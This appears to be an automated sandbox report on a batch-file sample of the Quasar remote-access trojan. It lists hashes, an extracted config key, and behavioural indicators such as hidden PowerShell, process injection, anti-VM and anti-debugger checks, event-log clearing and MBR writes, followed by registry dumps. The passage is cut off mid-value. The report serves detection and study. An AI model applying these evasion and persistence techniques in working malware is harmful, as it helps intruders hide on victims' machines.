Analysis
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max time kernel
29s -
max time network
23s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
04-01-2025 14:47
Static task
static1
Behavioral task
behavioral1
Sample
$rbx-CO2.bat
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
$rbx-CO2.bat
Resource
win10v2004-20241007-en
General
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Target
$rbx-CO2.bat
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Size
7.3MB
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MD5
1bec1098946595a03fa067a3ef7ce292
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SHA1
89cfb4a2f8800f1b944d906d959639907672317d
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SHA256
a8f184a333fb89f41ddca323472463b4ee2cbed63d26d105823300148e2015cb
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SHA512
dc7e73ed353d50b73a0eb6f1d955812a29fc5e05df300487d1eda49cc78e6748929a17cd59b58148f7e8696fd0fdfd21e8269af6788f1037bda6d8ddf30c6082
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SSDEEP
49152:262lW3ZtqF71E0f+DP24xmB1F+RfHhZzvTUPbFJMg0FQ5/Ai4cr5YSW7iFsihJv1:k
Malware Config
Extracted
quasar
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encryption_key
6F38862AF940DB0B877E1A5C024641D617D7FAB6
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reconnect_delay
3000
Signatures
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Quasar family
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Quasar payload 1 IoCs
resource yara_rule behavioral2/memory/2388-2393-0x00000190B0870000-0x00000190B0FF4000-memory.dmp family_quasar -
Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
description pid Process procid_target PID 3084 created 2388 3084 WerFault.exe 107 -
Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
description pid Process procid_target PID 4808 created 616 4808 powershell.exe 5 PID 2388 created 616 2388 powershell.exe 5 PID 820 created 2388 820 svchost.exe 107 PID 820 created 2388 820 svchost.exe 107 -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 4808 powershell.exe 2388 powershell.exe -
Sets service image path in registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DoSvc\ImagePath = "C:\\Windows\\System32\\svchost.exe -k NetworkService -p" WaaSMedicAgent.exe -
Deletes itself 1 IoCs
pid Process 4808 powershell.exe -
Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs
Clear Windows Event Logs to hide the activity of an intrusion.
description ioc Process File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx svchost.exe -
Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\B: svchost.exe File opened (read-only) \??\E: svchost.exe File opened (read-only) \??\S: svchost.exe File opened (read-only) \??\T: svchost.exe File opened (read-only) \??\W: svchost.exe File opened (read-only) \??\G: svchost.exe File opened (read-only) \??\H: svchost.exe File opened (read-only) \??\O: svchost.exe File opened (read-only) \??\Q: svchost.exe File opened (read-only) \??\R: svchost.exe File opened (read-only) \??\V: svchost.exe File opened (read-only) \??\X: svchost.exe File opened (read-only) \??\A: svchost.exe File opened (read-only) \??\J: svchost.exe File opened (read-only) \??\L: svchost.exe File opened (read-only) \??\P: svchost.exe File opened (read-only) \??\Y: svchost.exe File opened (read-only) \??\I: svchost.exe File opened (read-only) \??\K: svchost.exe File opened (read-only) \??\M: svchost.exe File opened (read-only) \??\N: svchost.exe File opened (read-only) \??\U: svchost.exe File opened (read-only) \??\Z: svchost.exe -
Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
description ioc Process File opened for modification \??\PHYSICALDRIVE0 wmiprvse.exe -
Drops file in System32 directory 6 IoCs
description ioc Process File opened for modification C:\Windows\System32\Tasks\$nya-SVRbVUYl svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D lsass.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work svchost.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 22 IoCs
pid Process 2388 powershell.exe 2388 powershell.exe 2388 powershell.exe 2388 powershell.exe 2388 powershell.exe 2388 powershell.exe 2388 powershell.exe 2388 powershell.exe 2388 powershell.exe 2388 powershell.exe 2388 powershell.exe 2388 powershell.exe 2388 powershell.exe 2388 powershell.exe 2388 powershell.exe 2388 powershell.exe 2388 powershell.exe 2388 powershell.exe 2388 powershell.exe 2388 powershell.exe 2388 powershell.exe 2388 powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 4808 set thread context of 3404 4808 powershell.exe 89 PID 2388 set thread context of 4204 2388 powershell.exe 111 -
Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
description ioc Process File opened (read-only) \??\VBoxMiniRdrDN powershell.exe -
Drops file in Windows directory 9 IoCs
description ioc Process File opened for modification C:\Windows\SoftwareDistribution\ReportingEvents.log svchost.exe File created C:\Windows\$rbx-onimai2\$rbx-CO2.bat cmd.exe File opened for modification C:\Windows\$nya-onimai2 powershell.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.edb svchost.exe File opened for modification C:\Windows\$rbx-onimai2 powershell.exe File opened for modification C:\Windows\WindowsUpdate.log svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log svchost.exe -
Checks SCSI registry key(s) 3 TTPs 6 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags wmiprvse.exe -
Checks processor information in registry 2 TTPs 13 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier mousocoreworker.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString mousocoreworker.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 mousocoreworker.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe -
Enumerates system info in registry 2 TTPs 7 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU mousocoreworker.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS mousocoreworker.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\ValidDeviceId = "02ntzqqvducombgi" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\AuthCookies\Live\Default\DIDC\Name = "DIDC" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02fgibqbpmzxqnqb\Request Saturday, January 04, 2025 14:47:37 = "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" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property mousocoreworker.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property\0018C010AF727241 = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb010000006c8a52a63ed35a4089d082fb0820d6b400000000020000000000106600000001000020000000a65daafa366ec707349a4c11eab2b726d1aa5f97ab6c33fd07533cac7beb3d2b000000000e8000000002000020000000ce5d5557fd5d209ad95355559ad296b65a09173de56af60fbdfbc499ee1946bc80000000b1430f356bbcbec9f7eb98828fc56e8f58c2751adff915eb0fb5836386173fec023f9ae33b24b757811ce40342b5b38697c260c59c466e8cfa9247739890f6ed5f83cbd6bae9494384a0aa2a740eee10e42cff84d37e8fb4cb93ca2733120c5b10e04af3cf0b8ccbfba8a7f886ead95bf986e16a0a51400cad70c1bc58fe726140000000a211669ef6db1324feff20920bcbbf8251842819b5469aae1cb08ce857af0066d876644aa5a82146ff71667b9da063ab70e898004b10425519b2465211bce344 mousocoreworker.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\ApplicationFlags = "1" mousocoreworker.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-4089630652-1596403869-279772308-1000\02fgibqbpmzxqnqb\Reason = "2147780641" svchost.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\DeviceLicenseUpdateFailureCount = "0" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-4089630652-1596403869-279772308-1000\02fgibqbpmzxqnqb\AppIdList svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\AuthCookies\Live\Default\DIDC\Flags = "8256" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-4089630652-1596403869-279772308-1000\ValidDeviceId = "02eigpavrtuvqhsr" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02ntzqqvducombgi svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-4089630652-1596403869-279772308-1000\02eigpavrtuvqhsr\DeviceId = "<Data><User username=\"02EIGPAVRTUVQHSR\"><HardwareInfo BoundTime=\"1736002059\" TpmKeyStateClient=\"0\" TpmKeyStateServer=\"0\" LicenseInstallError=\"0\"/></User></Data>\r\n" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\AuthCookies\Live\Default\DIDC svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-4089630652-1596403869-279772308-1000\02eigpavrtuvqhsr svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-4089630652-1596403869-279772308-1000\02eigpavrtuvqhsr\DeviceId = "<Data DAInvalidationTime=\"1736002059\"><User username=\"02EIGPAVRTUVQHSR\"><HardwareInfo BoundTime=\"1736002059\" TpmKeyStateClient=\"0\" TpmKeyStateServer=\"0\" LicenseInstallError=\"0\"/></User></Data>\r\n" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software mousocoreworker.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\AuthCookies\Live\Default\DIDC\Data = "ct%3D1736002057%26hashalg%3DSHA256%26bver%3D24%26appid%3DDefault%26da%3D%253CEncryptedData%2520xmlns%253D%2522http://www.w3.org/2001/04/xmlenc%2523%2522%2520Id%253D%2522devicesoftware%2522%2520Type%253D%2522http://www.w3.org/2001/04/xmlenc%2523Element%2522%253E%253CEncryptionMethod%2520Algorithm%253D%2522http://www.w3.org/2001/04/xmlenc%2523tripledes-cbc%2522%253E%253C/EncryptionMethod%253E%253Cds:KeyInfo%2520xmlns:ds%253D%2522http://www.w3.org/2000/09/xmldsig%2523%2522%253E%253Cds:KeyName%253Ehttp://Passport.NET/STS%253C/ds:KeyName%253E%253C/ds:KeyInfo%253E%253CCipherData%253E%253CCipherValue%253EM.C553_SN1.0.D.Cobezdc3b8%252BKVmZ7qYxYDcEPaKETXbZQ2HSOqcfYKjpURGo24eMUVMuz9Bm6O/XkUB5PPh2ZG620NKt8BGTMhRPZ8vIEKVeBvUMssz0XGthS7YVPm02I0mknFBvZvUHw%252BJnbnzeIKGgz4O1CQQXQNFuJpB/N8z8a3cBdkyBycBhuodvDXTNaXnDSdvgVEgrr6S54wmBJY6KUYb8Jp76FM%252BHfhdUb7r6J0o29RaDyqr2G2YWD4KO1zJEwZbyV